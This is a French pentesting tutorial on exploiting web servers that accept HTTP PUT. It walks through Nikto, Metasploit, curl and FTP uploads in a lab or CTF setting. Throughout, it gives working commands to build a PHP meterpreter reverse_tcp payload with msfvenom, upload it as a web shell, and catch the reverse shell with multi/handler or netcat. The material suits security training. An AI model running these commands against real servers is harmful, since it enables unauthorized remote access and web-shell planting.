Introduction : Qu’est-ce que la méthode HTTP PUT ?
C’est tout simplement la méthode qui permet la gestion de fichiers sur le server, par exemple ajouter ou supprimer des ressources. Si ce dernier est actif alors il est possible d’uploader un fichier dans le server cible, souvent lors d’un test d’intrusion on essaye d’envoyer un script malveillant pour avoir un shell Web.
Cette méthode entraîne souvent des vulnérabilités de téléchargement de fichiers, ouvrant la porte à des attaques critiques et dangereuses pour les hackers. Pour remédier à ce problème, les autorisations d’accès aux fichiers des serveurs critiques, des organisations doivent être strictement limitées avec un accès restreint aux utilisateurs autorisés (voir mon article sur les permissions Linux).
Afin de comprendre le fonctionnement, nous allons voir 4 façons d’exploiter cette méthode :
- Nikto
- Metasploit Framework
- Curl
- ftp
Pour cela nous utiliserons une machine virtuelle (Parrot OS Security).
Nikto
Tout d’abord, nous devons nous assurer que la machine cible vulnérable dispose de la méthode HTTP PUT qui nous a permis de télécharger un script malveillant. Pour cela, nous devons scanner la cible à l’aide de Nikto.
Nikto est un outil libre et open-source codé dans le langage Perl, qui permet de scanner un serveur web et d’afficher toutes les failles potentielles :
- Fichiers/CGI dangereux
- Logiciels de serveur obsolètes et d’autres problèmes
- Vérifications génériques et spécifiques au type de serveur
- Connexion SSL
- …
Voici la commande à utiliser : nikto -h http://IP_Address/
Sur l’image ci-dessus on peut observer que la méthode HTTP PUT est autorisée. Maintenant préparons un script malveillant pour l’envoyer au server cible et obtenir notre shell.
On commence par créer le fichier avec msfvenom :
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.18 lport=443 -o shell.php
Voilà notre script est prêt, il ne vous manque plus qu’à l’uploader dans le server et de lancer l’exploit avec Metasploit Framework :
msfconsole -q et use exploit/multi/handler
Metasploit Framework
Metasploit est un Framework (ensemble d’outils et de logiciels organisés) permettant d’effectuer des tests d’intrusion en suivant plusieurs étapes. Lorsque vous voulez effectuer un Pentesting, on a besoin de : scanner, payload, encoder, auxiliaire… etc. Pour éviter de réaliser ces actions avec différents outils, Metasploit est doté de toutes ces possibilités et d’outils de hacking.
Ce Framework peut abuser des serveurs Web mal configurés pour télécharger et supprimer du contenu Web via des requêtes HTTP PUT par exemple.
Metasploit a des modules auxiliaires intégrés dédiés à l’analyse des méthodes HTTP et nous donne la possibilité d’envoyer un fichier avec auxiliaire/scanner/http/http_put. Voici les commandes :
- use auxiliary/scanner/http/http_put
- set rhosts IP_ADDRESS
- set rport listening_port
- set path /upload_file/
- set filename your_script
- set filedata /emplacement_du_script
Obtenir un reverse_shell avec exploit/multi/handler :
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost IP_ADDRESS
set lport listening_port
run
CURL
CURL est un outil de ligne de commande bien connu et est disponible sur la plupart des systèmes basés sur Unix. C’est l’abréviation de « Client URL ». Les commandes Curl sont conçues pour fonctionner comme un moyen de vérifier la connectivité aux URL et comme un excellent outil pour transférer des données.
Exemple :
- HTTP et HTTPS
- FTP et FTPS
- IMAP et IMAPS
- SMB et SMBS
- SFTP/SCP
- TELNET
- SMTP et SMTPS
- …
Ces protocoles sont les plus importants, mais il en existe d’autres. Curl est alimenté par libcurl, qui est une bibliothèque gratuite de transfert d’URL.
Pour exploiter la méthode PUT avec cURL, la commande est :
curl http://192.168.1.145:8585/uploads/ –upload-file /home/parrot/Desktop/curl.php -v
Maintenant, nous allons utiliser Metasploit avec l’exploit : multi/handler
Et voilà, nous avons notre meterpreter_shell.
FTP
FTP est l’abréviation de File Transfer Protocol, c’est un protocole utilisé sur Internet pour l’échange de fichiers. Le FTP est généralement utilisé pour télécharger (GET) un fichier présent sur un server ou au contraire pour envoyer (PUT) un fichier vers un server.
Il n’est pas conseillé de s’en servir pour autre chose que le transfert de fichiers car vous ne pouvez généralement pas lire, ni modifier un fichier sans l’avoir téléchargé entièrement.
Avec le protocole FTP les données transitent en clair sur le réseau. Les protocoles FTPS (FTP sur SSL) SFTP (SSH) implémentent le protocole FTP avec un chiffrement des données / de la connexion.
Pour se connecter à un server FTP la commande est : ftp IP_ADDRESS
Utilisez la commande put fichier_malveillant
Voilà, notre script a bien été uploader sur le server. Il nous reste à obtenir notre shell avec netcat :
nc -lvnp port_d’écoute
Nous avons obtenu notre shell en exploitant la méthode PUT.
Nous sommes arrivés à la fin de cet article, nous avons vu plusieurs manières d’exploiter la méthode HTTP_PUT. Ces derniers sont souvent présents dans les CTFss (Capture The Flag), je vous invite donc à tester par vous-même.
Si vous avez des questions n’hésitez pas à me contacter ou laisser un commentaire, je ne manquerai pas de revenir vers vous au plus vite.
On se retrouve dans un prochain article, PEACE 😉 !
PS : Vous pouvez utiliser Metasploitable 3 et les CTFs sur Tryhackme pour vous entrainer.
No responses yet